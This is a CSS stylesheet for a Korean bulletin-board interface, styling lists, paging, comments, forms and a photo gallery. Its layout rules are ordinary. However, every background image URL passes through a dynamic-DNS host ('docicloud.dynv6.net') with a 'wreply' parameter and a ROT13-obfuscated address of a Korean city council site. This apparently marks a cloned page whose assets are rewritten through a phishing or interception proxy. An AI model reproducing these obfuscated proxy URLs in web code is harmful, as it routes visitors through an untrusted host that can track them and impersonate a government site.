@charset "utf-8";



/* 게시판 상단 */
.board_top { width:100%; padding:15px 20px; vertical-align:top; border:1px solid #ddd; box-shadow: 0px 4px 0px 0px rgba(0,0,0,0.07); margin-bottom:40px; }

.board_top .board_page { float:left; width:300px; }
.board_top .board_page strong.num1 { color:#ee402e; }
.board_top .board_page strong.num2 { color:#3466cc; }
.board_top .board_page strong.num3 { color:#000; }


.board_top .board_search { float:left; width:calc(100% - 300px); font-size:90%; text-align:right; }

.board_top .board_select { float:right; width:260px; font-size:90%; text-align:right; }


.board_top .boardtop_select { height:30px; padding-left:10px; border:1px solid #ddd; }
.board_top .select_type { background:#f4f4f4; }
.board_top .boardtop_text { width:200px; height:30px; line-height:28px; padding-left:10px; border:1px solid #ddd; }
.board_top .abtn_search { width:55px; height:30px; line-height:30px; border:none; border-radius:3px; background:#333; color:#fff; text-align:center; display:inline-block; vertical-align:top; } 
.board_top .abtn_registration { width:55px; height:30px; line-height:30px; border:none; border-radius:3px; background:#113d8e; color:#fff; font-size:90%; text-align:center; display:inline-block; vertical-align:top; } 
.board_top .abtn_cancel { width:55px; height:30px; line-height:30px; border:none; border-radius:3px; background:#555; color:#fff; font-size:90%; text-align:center; display:inline-block; vertical-align:top;  } 
.board_top .submit_msearch { width:55px; height:30px; line-height:30px; border:none; border-radius:3px; background:#ee402e; color:#fff; font-size:90%; display:inline-block; cursor:pointer;  } 



			/* 회원사관리 */
.board_top .board_page2 { float:left; width:120px; height:30px; line-height:30px; }
.board_top .board_search2 { float:right; width:calc(100% - 120px); text-align:right; }



@media (min-width:769px) and (max-width:1024px){

}



@media (max-width:768px){
	.board_top { padding:15px; margin-bottom:30px; }	
	.board_top .board_page { width:100%; margin-bottom:10px; }
	.board_top .board_search { width:100%; }
	.board_top .board_select { float:left; width:100%; text-align:left; }

	.board_top .boardtop_select { width:100%; margin-bottom:3px;}
	.board_top .boardtop_text { width:calc(100% - 59px); }

	.board_top .boardtop_select2 { width:100%; }
	.board_top .abtn_registration { width:100% }
	
	
				/* 회원사관리 */
	.board_top .board_page2 { width:100%; margin-bottom:5px; }
	.board_top .board_search2 { width:100%; text-align:left; }
	.board_top .board_search2 .boardtop_text { width:calc(100% - 59px); }
	.board_top .board_search2 .abtn_registration { margin-top:3px; }

}



/* 게시판 목록 */
.board_body { width:100%; }
.board_body table { border-top:2px solid #333; font-size:100%; margin-bottom:25px; }
.board_body table thead th { padding:15px 0; text-align:center; color:#000; background:#f4f4f4; font-weight:bold; border-right:1px solid #ddd; border-bottom:1px solid #ddd; }
.board_body table tbody td { padding:13px 15px 13px 15px; text-align:center; border-right:1px solid #ddd; border-bottom:1px solid #ddd; }

.board_body table tbody td .icon_step { width:55px; height:28px; line-height:28px; border-radius:3px; color:#fff; text-align:center; font-size:90%; display:inline-block; margin-right:10px; }
.board_body table tbody td .icon_step1 { background:#ad5407; }
.board_body table tbody td .icon_step2 { background:#06c; }
.board_body table tbody td .icon_step3 { background:#71a400; }
.board_body table tbody td .icon_step4 { background:#201b51; }


.board_body table tbody td.left { text-align:left; }
.board_body table tbody td a:link,
.board_body table tbody td a:visited { width:100%; color:#222; font-weight:bold; display:block; }
.board_body table tbody td a:active,
.board_body table tbody td a:focus,
.board_body table tbody td a:hover { color:#113d8e; text-decoration:underline; }

.board_body table tbody td .replyNum { color:#da131a; }

.board_body table thead th:last-child { border-right:none; }
.board_body table tbody td:last-child { border-right:none; }


.board_body table tbody td a.abtn_preview { width:24px; padding:0; text-indent:-999999px; }

span.stateicon_step1 { width:70px; height:30px; line-height:30px; background:#1757b7; text-align:center; font-size:90%; color:#fff; border-radius:3px; display:inline-block; } 
span.stateicon_step2 { width:70px; height:30px; line-height:30px; background:#0A8A0E; text-align:center; font-size:90%; color:#fff; border-radius:3px; display:inline-block; }
span.stateicon_step3 { width:70px; height:30px; line-height:30px; background:#3e4958; text-align:center; font-size:90%; color:#fff; border-radius:3px; display:inline-block; }
span.stateicon_step4 { width:70px; height:30px; line-height:30px; background:#da131a; text-align:center; font-size:90%; color:#fff; border-radius:3px; display:inline-block; }






@media (max-width:768px){
	.board_body table {  }
	.board_body table thead { display:none; }
	.board_body table tbody tr { width:100%; border-bottom:1px solid #ddd; overflow:hidden; display:block; }
	.board_body table tbody tr > * { float:left; border:0; display:block;}
	
	.board_body table tbody td { border-right:none; padding:9px 10px 8px 10px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Sgq_yvar.tvs) no-repeat right 15px; }

	.board_body table tbody td .icon_step { font-family: NotoSans-DemiLight, "본고딕 데미라이트"; font-size:85% !important; display:block; margin-bottom:5px; }
}



/* 페이징 */
.paging { position:relative; width:100%; text-align:center; overflow:hidden; margin:25px 0;  }

.paging #pagingNew ul { overflow:hidden; padding-left:1px; }
.paging #pagingNew ul li { display:inline-block; margin-left:-1px;  }
.paging #pagingNew ul li a { height:34px; line-height:32px; padding:0 13px; color:#666; text-decoration:none; border:1px solid #ddd; display:inline-block; z-index:1; font-size:80%; }
.paging #pagingNew ul li a.select { background:#46549d; color:#fff; font-weight:bold; border-color:#3a4682; z-index:2;} 

.paging #pagingNew ul li a.btn { padding:0; }
.paging #pagingNew ul li a.btn img { width:32px; height:32px; }

.paging #pagingNew ul li a.start { background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Scntrvat_oga_fgneg.tvs) no-repeat 50% 50%; }
.paging #pagingNew ul li a.prev { background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Scntrvat_oga_ceri.tvs) no-repeat 50% 50%; }
.paging #pagingNew ul li a.next { background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Scntrvat_oga_arkg.tvs) no-repeat 50% 50%; }
.paging #pagingNew ul li a.end { background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Scntrvat_oga_raq.tvs) no-repeat 50% 50%; }

@media (max-width:768px){
	.paging #pagingNew ul li a { height:24px; line-height:24px; padding:0 4px; font-size:90%; margin-bottom:2px; }
	.paging #pagingNew ul li a.btn img { width:24px; height:24px; }
}







/* 게시판 보기 */
.board_view { width:100%; margin-bottom:50px; }
.board_view table { width:100%; border:0; border-spacing:0; border-collapse:collapse; border-top:2px solid #333; margin-bottom:25px; }

.board_view table tbody th,
.board_view table tbody td { padding:10px 20px 10px 20px; border-bottom:1px solid #ddd; }

.board_view table tbody .itemtd { padding:20px; text-align:center; background:#fafafa; }
.board_view table tbody .itemtd .subject { width:100%; color:#000; font-size:150%; font-family:esamanru-Medium, "이사만루 미디엄"; font-weight:normal; letter-spacing:-1px; display:block; margin-bottom:10px; }
.board_view table tbody .itemtd .writer,
.board_view table tbody .itemtd .date { padding:0 10px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Sgq_yvar.tvs) no-repeat right 6px;}
.board_view table tbody .itemtd .hits { padding:0 10px; }

.board_view table tbody td.addfile { text-align:left; }
.board_view table tbody td.addfile ul li { margin-bottom:3px;  }
.board_view table tbody td.addfile ul li .addicon img { position:relative; top:5px; width:16px; height:16px; margin-right:3px; }
.board_view table tbody td.addfile ul li .icon_download { position:relative; top:1px; margin-left:7px; }

.board_view table tbody td .status { float:left; width:50%; text-align:left; }
.board_view table tbody td .status .icon_step { width:55px; height:28px; line-height:28px; border-radius:3px; color:#fff; text-align:center; font-size:90%; display:inline-block; margin-right:10px; }
.board_view table tbody td .status .icon_step1 { background:#ad5407; }
.board_view table tbody td .status .icon_step2 { background:#06c; }
.board_view table tbody td .status .icon_step3 { background:#71a400; }
.board_view table tbody td .status .icon_step4 { background:#333; }

.board_view table tbody td .charge { float:left; width:50%; text-align:right; }

.board_view table tbody td.contentview { padding:40px 20px 20px 20px; vertical-align:top; }
.board_view table tbody td.contentview .basic_content { min-height:250px !important;  text-align:left;  }
.board_view table tbody td.contentview .basic_content .smartOutput { line-height:1.7; margin-bottom:50px; }
.board_view table tbody td.contentview .basic_content .box2 { color:#888; font-size:85%; }
.board_view table tbody td.contentview .basic_content .box2 li { background-position:0 13px; }

.board_view table tbody td.contentview .imgarea { position:relative; overflow:hidden; display:block; margin-bottom:50px; }
.board_view table tbody td.contentview .imgarea img { max-width:800px; width:100%; } 
.board_view table tbody td.contentview p img { max-width:800px; width:100%; } 

.board_view table .rLine { border-right:1px solid #ddd; }
.board_view table .rthd1 { width:20%; background:#f4f4f4; }
.board_view table .rthd2 { width:80%; }

@media (min-width:769px) and (max-width:1024px){
	.board_view table tbody td.contentview img { width:100%;  }
	.board_view table tbody td span.addicon img { width:20px; }
	
}

@media (max-width:768px){
	.board_view table { }
	.board_view table tbody th { display:none; }
	.board_view table tbody .itemtd .subject {  }

	.board_view .noticeTxt { display:block; margin-bottom:10px; }
	
	.spp_table { overflow:auto; } /* 청원처리현황 */
	.spp_table table { width:700px; margin:0 auto; }
	.spp_table table tbody th { display: table-cell;}
	
	.board_view .garoscroll { overflow: auto; }

	.board_view table tbody td.contentview { }

	.board_view table tbody td.contentview img { width:100%;  }
	.board_view table tbody td span.addicon img { width:20px; }

	.board_view table tbody td.addfile li { font-size:85%; }

	.board_view table tbody td.contentview .vodplayerArea #jwobject_wrapper { width:320px !important; height:180px !important; margin:0 auto 20px;}
	/*.board_view table tbody td.contentview .vodplayerArea #jwobject_wrapper { width:100% !important; height:57% !important; margin:0 auto 20px;}*/

}





/* 댓글 */
.comment { width:100%; margin:30px 0 50px 0; }

.comment_form { margin-bottom:50px; }
.comment_form .comment_top { position:relative; width:100%; overflow:hidden; margin-bottom:10px; }
.comment_form .comment_top .comment_login { float:left;}
.comment_form .comment_top .comment_login ul { overflow:hidden; margin-left:10px; }
.comment_form .comment_top .comment_login ul li { float:left; margin-right:5px; }
.comment_form .comment_top .comment_login ul li a:link,
.comment_form .comment_top .comment_login ul li a:visited { width:50px; height:50px; line-height:50px; padding-top:10px; border:2px solid #ddd; border-radius:5px; text-align:center;vertical-align:middle; display:inline-block; box-sizing:border-box; }

.comment_form .comment_top .comment_login ul li.li2 a { padding-top:13px;}
.comment_form .comment_top .comment_login ul li.li3 a { padding-top:8px;}

.comment_form .comment_top .comment_login ul li.li1 a:active,
.comment_form .comment_top .comment_login ul li.li1 a:focus,
.comment_form .comment_top .comment_login ul li.li1 a:hover,
.comment_form .comment_top .comment_login ul li.li1 a.select { border:3px solid #00529c;  }

.comment_form .comment_top .comment_login ul li.li2 a:active,
.comment_form .comment_top .comment_login ul li.li2 a:focus,
.comment_form .comment_top .comment_login ul li.li2 a:hover,
.comment_form .comment_top .comment_login ul li.li2 a.select { border:3px solid #008fd5;  }

.comment_form .comment_top .comment_login ul li.li3 a:active,
.comment_form .comment_top .comment_login ul li.li3 a:focus,
.comment_form .comment_top .comment_login ul li.li3 a:hover,
.comment_form .comment_top .comment_login ul li.li3 a.select { border:3px solid #f4ea30;  }

.comment_form .comment_top .comment_login ul li.li4 a:active,
.comment_form .comment_top .comment_login ul li.li4 a:focus,
.comment_form .comment_top .comment_login ul li.li4 a:hover,
.comment_form .comment_top .comment_login ul li.li4 a.select { border:3px solid #00c73c;  }

.comment_form .comment_top .comment_login ul li.li5 a:active,
.comment_form .comment_top .comment_login ul li.li5 a:focus,
.comment_form .comment_top .comment_login ul li.li5 a:hover,
.comment_form .comment_top .comment_login ul li.li5 a.select { border:3px solid #dc4c3f;  }

.comment_form .comment_body { width:100%; }


/* 댓글 - 로그인전 */
.comment_form .comment_body .login_before { display:block; }
.comment_form .comment_body .login_before .textareabox { width:100%; padding:10px; border:5px solid #ddd; border-radius:15px; box-sizing:border-box; }
.comment_form .comment_body .login_before .textareabox .textarea_comment { width:100%; height:60px; padding:15px; border:none; box-sizing:border-box; }


/* 댓글 - 로그인후 */
.comment_form .comment_body .login_after { position:relative; display:block; }
.comment_form .comment_body .login_after .textareabox { width:100%; border:5px solid #ddd; border-radius:15px; box-sizing:border-box; }
.comment_form .comment_body .login_after .textareabox .textareabox_top { width:100%; height:40px; border-radius:8px 8px 0 0; box-sizing:border-box; }
.comment_form .comment_body .login_after .textareabox .textareabox_top .nickname { float:left; height:40px; line-height:40px; padding-left:15px; color:#fff; font-weight:bold; }
.comment_form .comment_body .login_after .textareabox .textareabox_top .txtcount { position:relative; top:-1px; float:right; height:40px; line-height:40px; padding-right:115px; text-align:right; color:#fff; font-size:90%; }

.comment_form .comment_body .login_after .textareabox .textareabox_body { width:100%; height:auto; padding:15px; box-sizing:border-box; }
.comment_form .comment_body .login_after .textareabox .textareabox_body .photo { float:left; width:90px; }
.comment_form .comment_body .login_after .textareabox .textareabox_body .comment_txt { float:left; width:calc(100% - 90px); }

.comment_form .comment_body .login_after .textareabox .textareabox_body .photo img { padding:5px; border:1px solid #ccc; border-radius:5px; }
.comment_form .comment_body .login_after .textareabox .textareabox_body .comment_txt  .textarea_comment { width:100%; height:77px; padding:5px; line-height:150%; border:none; box-sizing:border-box; }

.comment_form .comment_body .login_after .logout { position:absolute; right:20px; top:14px; padding-left:17px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbhapvy%2Sobneq%2Spbzzrag_vpba_ybtbhg.tvs) no-repeat 0 5px; } 
.comment_form .comment_body .login_after .logout a:link,
.comment_form .comment_body .login_after .logout a:visited { color:#fff; }
.comment_form .comment_body .login_after .logout a:active,
.comment_form .comment_body .login_after .logout a:focus,
.comment_form .comment_body .login_after .logout a:hover { color:#000; }


/* 댓글입력 버튼 */
.comment_form .comment_btn { text-align:right; padding-right:10px; margin:20px 0 0 0; }
.comment_form .comment_btn .submit_commentbtn { width:100px; height:40px; line-height:40px; border:1px solid #113d8e; border-radius:3px; background:#113d8e; color:#fff; font-size:90%; }


/* 댓글 목록 */
.comment_listAll { width:100%; }

.comment_listAll_top { width:100%; margin-bottom:10px; }
.comment_listAll_top .attendNum { float:left; padding-left:10px; }
.comment_listAll_top .array { float:right; overflow:hidden; }

.comment_listAll_top .attendNum strong { color:#da131a; }

.comment_listAll_top .array li { float:left; padding:0 11px 0 10px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbhapvy%2Sobneq%2Spbzzrag_neenl_yvar.tvs) no-repeat right 50%; }
.comment_listAll_top .array li:last-child { background:none; }

.comment_listAll_top .array li a:active,
.comment_listAll_top .array li a:focus,
.comment_listAll_top .array li a:hover { color:#1757b7; }
.comment_listAll_top .array li a.select { color:#da131a; }


.comment_list { width:100%; border-top:1px solid #333; }
.comment_list ul { overflow:hidden; }
.comment_list ul li { position:relative; width:100%; padding:15px; border-bottom:1px solid #ddd; display:block; box-sizing:border-box; }
.comment_list ul li dl { width:100%; }
.comment_list ul li dl dt { float:left; position:relative; width:95px; }
.comment_list ul li dl dt img { padding:5px; border:1px solid #ccc; border-radius:5px; }
.comment_list ul li dl dt .snsicon { position:absolute; right:9px; bottom:-9px;}
.comment_list ul li dl dt .snsicon img { padding:0; border:0; border-radius:0; }

.comment_list ul li dl dd { margin-left:95px; width:calc(100% - 95px); }

.comment_list ul li dl dd.nickname { color:#113d8e; margin-bottom:7px; }
.comment_list ul li dl dd.nickname strong { padding-right:11px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbhapvy%2Sobneq%2Spbzzrag_neenl_yvar.tvs) no-repeat right 50%; display:inline-block; margin-right:10px; }
.comment_list ul li dl dd.nickname .time { font-size:90%; color:#999; font-family:arial;}

.comment_list ul li dl dd.txt { line-height:150%; margin-bottom:5px; } 

.comment_list ul li dl dd.empathy { text-align:right;}
.comment_list ul li dl dd.empathy span a { height:30px; line-height:30px; padding:0 10px 0 30px; border:2px solid #eee; border-radius:5px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbhapvy%2Sobneq%2Spbzzrag_rzcngul_vpba.tvs) no-repeat 10px 50%; display:inline-block; }

.comment_list ul li dl dd.delete { position:absolute; right:15px; top:15px; width:47px; text-align:right !important; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbhapvy%2Sobneq%2Spbzzrag_oga_qryrgr.tvs) no-repeat 0 50%; margin-left:0;  }
.comment_list ul li dl dd.delete a:active,
.comment_list ul li dl dd.delete a:focus,
.comment_list ul li dl dd.delete a:hover { text-decoration:underline; color:#06c; }


@media (max-width:767px){
	.comment_list ul li { position:relative; width:100%; padding:15px 0; border-bottom:1px solid #ddd; display:block; box-sizing:border-box; }
	
	.comment_list ul li dl dd.nickname { color:#113d8e; margin-bottom:7px; }
	.comment_list ul li dl dd.nickname strong { padding-right:0; background:none; display:block; margin-right:0; }
	.comment_list ul li dl dd.nickname .time {  padding-top:5px; display:block; }
}



/* 댓글 */
.boardReply { width:100%; margin-bottom:50px; }
.boardReply h1 { color:#111; font-family:esamanru-Medium, "이사만루 미디엄"; font-weight:normal; font-size:130%; margin-bottom:10px;  }

.boardReply #replyList { width:100%; }
.boardReply #replyList li { width:100%; overflow:hidden; display:block; }
.boardReply #replyList li .bar { width:100%; padding:10px 15px; background:#f4f4f4; margin-bottom:15px;  }
.boardReply #replyList li .bar .writerData { float:left; width:calc(100% - 100px); } 
.boardReply #replyList li .bar .writerData strong { padding-right:16px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Sobneq%2Sobneqgbc_gq_yvar.tvs) no-repeat right 5px; color:#113d8e; font-weight:bold; margin-right:15px; }
.boardReply #replyList li .bar .writerData span { color:#888; font-size:95%; }

.boardReply #replyList li .bar .replyBtn { float:right; width:100px; text-align:right; } 
.boardReply #replyList li .bar .replyBtn a:link,
.boardReply #replyList li .bar .replyBtn a:visited { width:45px; height:28px; line-height:28px; border-radius:3px; background:#555; color:#fff; font-size:90%; text-align:center; transition:0.3s; display:inline-block; }
.boardReply #replyList li .bar .replyBtn a:active,
.boardReply #replyList li .bar .replyBtn a:focus,
.boardReply #replyList li .bar .replyBtn a:hover { background:#113d8e; }

.boardReply #replyList li .replyContent { width:100%; margin-bottom:30px; }
.boardReply #replyList li .replyContent .replyTxt { width:100%; line-height:1.7; }
.boardReply #replyList li .replyContent .replyAddfile { width:100%; margin-top:10px; }
.boardReply #replyList li .replyContent .replyAddfile img { position:relative; top:6px;  width:16px; height:16px; }
.boardReply #replyList li .replyContent .replyAddfile a { margin-right:15px; }
 

/* 댓글입력 */
.replyForm { width:100%;  }
.replyForm h1 { color:#111; font-family:esamanru-Medium, "이사만루 미디엄"; font-weight:normal; font-size:130%; margin-bottom:10px;  }
.replyForm .textarea_normal { height:150px; font-family: NotoSans-DemiLight, '본고딕 데미라이트'; margin-bottom:20px; }



.replyForm .replyAddfileModify { width:100%; padding:15px 20px; border:1px solid #eee; background:#f8f8f8; margin-bottom:30px; }
.replyForm .replyAddfileModify .txt1 { color:#444; font-family:esamanru-Medium, "이사만루 미디엄"; font-weight:normal; font-size:115%; margin-bottom:10px;  }
.replyForm .replyAddfileModify span { margin-right:15px; }
.replyForm .replyAddfileModify span i { color:#CD1414; font-style:normal; }



.replyForm .replyAddfile { position:relative; width:100%; }

.replyForm .replyAddfile .replyAddfileUp { float:left; width:calc(100% - 260px); }
.replyForm .replyAddfile .replyAddfileUp .replyTable { width:100%; }
.replyForm .replyAddfile .replyAddfileUp .replyTable input { width:100%; height:30px; line-height:28px; border:1px solid #ddd; margin-bottom:5px; }
 
.replyForm .replyAddfile .replyAddfileBtn { float:right; width:260px; text-align:right; }
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn:link,
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn:visited { width:80px; height:30px; line-height:30px; border-radius:3px; background:#113d8e; color:#fff; font-size:90%; text-align:center; display:inline-block; transition:0.3s; }
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn:active,
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn:focus,
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn:hover { background:#122b59; }
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn2:link,
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn2:visited { background:#da131a; }
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn2:active,
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn2:focus,
.replyForm .replyAddfile .replyAddfileBtn .abtn_replyBtn2:hover { background:#880f14; }











/* 게시판 글쓰기 */
.board_write { width:100%; }

.board_write .select_boardId { width:auto; height:32px; padding-left:10px; border:1px solid #ddd; background:#f4f4f4; }

.board_write table { width:100%; border:0; border-spacing:0; border-collapse:collapse; border-top:2px solid #333; margin-bottom:25px; }

.board_write table th { width:15%; }
.board_write table td { width:85%; }


.board_write table tbody th,
.board_write table tbody td { padding:9px 15px 8px 15px; text-align:center; border-right:1px solid #ddd; border-bottom:1px solid #ddd; color:#000; font-weight:normal; }
.board_write table tbody th { background:#fbfbfb; }
.board_write table tbody td { text-align:left; border-right:none; }


.board_write table td.addfile { position:relative; }
.board_write table td.addfile .replyTable { width:calc(100% - 90px); border-top:none; margin-bottom:0; }
.board_write table td.addfile .replyTable td { padding:3px 0; border-bottom:none; }
.board_write table td.addfile .replyTable td input { width:100%; height:32px; line-height:30px; border:1px solid #ddd; }
.board_write table td.addfile a:link,
.board_write table td.addfile a:visited { position:absolute; right:5px; top:13px; width:90px; text-align:right; width:80px; height:30px; line-height:30px; border-radius:3px; background:#da131a; color:#fff; font-size:90%; text-align:center; display:inline-block; transition:0.3s; }
.board_write table td.addfile a:active,
.board_write table td.addfile a:focus,
.board_write table td.addfile a:hover { background:#880f14; }

/*
table td.addfile span.addplus { position: absolute; right: 10px; top: 10px; }
table td.addfile span.addplus a.abtn_maddfile { width:85px; height:28px; line-height:28px; border:1px solid #444; background:#555; color:#fff; text-align:center; text-decoration:none; display:inline-block; }
table td.addfile .abtn_clear { width: 60px; height: 28px; line-height: 28px; border: 1px solid #999; border-radius: 3px; background: #999; color: #fff; text-align: center; font-size: 90%; text-decoration: none; display: inline-block;margin-left: 5px;}
#fileup table{border-top:dotted 1px #ccc;}
	#fileup table td{border-bottom:dotted 1px #ccc;padding:3px;}
	#fileup table td span{display:block;}
	#fileup .attfile{float:left;padding:20px 0 0 5px;}

.ulcommitteelist li,
.ulmemberlist li  { float:left; margin-right:15px; }

.board_view table tbody td .ui-datepicker-trigger { float:none !important; }


.board_write table td ul#editable { width:100%; overflow:hidden; }
.board_write table td ul#editable li { float:left; margin-right:15px; }
.board_write table td ul#editable li img { display:block; }
.board_write table td ul#editable li input { margin-left:5px; }
*/
@media (max-width:768px){
	.board_write table tbody th,
	.board_write table tbody td { padding:9px 5px 8px 5px; font-size:90%; }
	.board_write table tbody th { letter-spacing:-1px; }
	.board_write table tbody td .stxt { padding-left:0; display:block; margin-top:7px; }
	
	#text_email2 { width:100%; height:30px; line-height:30px; border:1px solid #ddd; padding-left:10px; display:block; box-sizing:border-box;  margin:3px 0; }
	#select_email3 { width:100%; height:32px; line-height:32px; border:1px solid #ddd; padding-left:10px; display:block; box-sizing:border-box;  }
}



/* 비밀번호 확인 */
.passwordbox { width:100%; border:5px solid #ddd; padding:30px 25px; box-sizing:border-box; }
.passwordbox .txt1 { padding:0 0 10px 20px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Spbzzba%2Soyg_qrcgu3.tvs) no-repeat 10px 10px; }
.passwordbox .formarea { padding:15px 0; text-align:center; border-top:1px solid #eee; border-bottom:1px solid #eee; }
.passwordbox .formarea label.skiplabel { display:none; }
.passwordbox .formarea .submit_ok { width:70px; height:30px; line-height:30px; text-align:center; background:#666; color:#fff; border:1px solid #666; border-radius:3px; font-size:90%; display:inline-block; vertical-align:top; cursor:pointer; }
.passwordbox .stxt { text-align:center; margin-top:10px; }


@media (max-width:768px){
	.passwordbox { padding:15px 10px; font-size:85%; }
	.passwordbox .formarea { padding:15px 0; }
	.passwordbox .formarea .submit_ok { width:60px; height:32px; line-height:32px; text-align:center; background:#666; color:#fff; border:1px solid #666; border-radius:3px; font-size:90%; display:inline-block; vertical-align:top; }
	.passwordbox .stxt { color:#999; }
}






/* 포토갤러리 목록 */
.photo_list { width:100%; }
.photo_list ul { width:100%; padding-top:30px; border-top:1px solid #ddd; border-bottom:1px solid #ddd;  }
.photo_list li { float:left; width:calc(25% - 30px); padding-bottom:25px; margin:0 15px 30px 15px;}

.photo_list li:nth-child(4n + 1) { clear:both; }

.photo_list ul li .picArea { width:100%; height:auto; overflow:hidden; }
.photo_list ul li .picArea a { width:100%; height:auto; overflow:hidden; display:block; }

.photo_list li .pic { width:100%; height:0; padding-top:calc(460 / 690 * 100%); /* calc(이미지 높이 ÷ 이미지 가로 × 100%) */ background-size:cover !important; display:block; overflow:hidden; }
.photo_list li .pic img { width:100%;  }

.photo_list ul li .picArea a:link,
.photo_list ul li .picArea a:visited { transition:0.3s; }
.photo_list ul li .picArea a:active,
.photo_list ul li .picArea a:focus,
.photo_list ul li .picArea a:hover {transform:scale(1.1);}

.photo_list li .bar { width:100%; height:90px; padding:15px 15px 0 15px; border:1px solid #ddd; border-top:none;  background:#fff; }
.photo_list li .subject { width:100%; }
.photo_list li .subject a:link,
.photo_list li .subject a:visited { width:100%; color:#111; font-size:110%; font-family:esamanru-Medium, "이사만루 미디엄"; text-overflow:ellipsis; overflow:hidden; white-space:nowrap; transition:0.3s; display:block; margin-bottom:6px; }
.photo_list li .subject a:active,
.photo_list li .subject a:focus,
.photo_list li .subject a:hover { color:#1757b7; }

.photo_list li p.date { color:#888;  }



@media (max-width:767px){
	.photo_list li { float:left; width:calc(50% - 32px); margin:0 15px 25px 15px; }
	.photo_list li p.pic img { width:100%; height:auto; }
	.photo_list li p.subject { margin-bottom:0px !important }
	.photo_list li p.date { margin-bottom:0px !important }

}
@media (max-width:425px){
	.photo_list li { float:none; width:calc(100% - 2px); margin:0 0 25px 0px; }
	.photo_list li p.pic img { width:100%; height:auto; }
	.photo_list li p.subject { margin-bottom:0px !important }
	.photo_list li p.date { margin-bottom:0px !important }

}




/* 포토갤러리 - 보기 */
.mtmPhoto_view { width:100%; margin-bottom:25px; }
.mtmPhoto_view h1 { position:relative; width:100%; height:60px; line-height:60px; border-top:1px solid #ddd; border-bottom:1px solid #ddd; margin-bottom:10px;  }
.mtmPhoto_view h1 strong { float:left; width:calc(100% - 110px); padding-left:10px; font-weight:normal; font-family:NotoSans-Medium, "본고딕 미디엄"; letter-spacing:-1px; font-size:80%; color:#113d8e; text-overflow:ellipsis; overflow:hidden; white-space:nowrap; display:block;  }
.mtmPhoto_view h1 span { float:right; padding-right:10px; color:#777; font-size:65%;font-family: NotoSans-DemiLight, "본고딕 데미라이트"; letter-spacing:0; }

.mtmPhoto_view .photoViewArea { position:relative; width:100%; height:665px; padding:0 100px; box-sizing:border-box; background:#333; overflow:hidden; text-align:center; margin-bottom:20px;  }
.mtmPhoto_view .photoViewArea ul.list li { height:665px; background-size:contain !important;}
.mtmPhoto_view .photoViewArea ul.list li img { width:auto; height:665px; text-align:center; margin:0 auto;}



.mtmPhoto_view .photoViewArea .bx-controls-direction a { position:absolute; top:280px; display:block; width:50px; height:91px; text-indent:-9999px; } /* 컨트롤 */
.mtmPhoto_view .photoViewArea .bx-controls-direction a.bx-prev { left:40px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spbhapvy.qnrwrba.tb.xe%2Svzntrf%2Srtbisenzrjbex%2Spbz%2Sfip%2Szhygvzrqvn%2Sznva%2Sivfvoyr_oga_ceri.cat) no-repeat 0 0; }
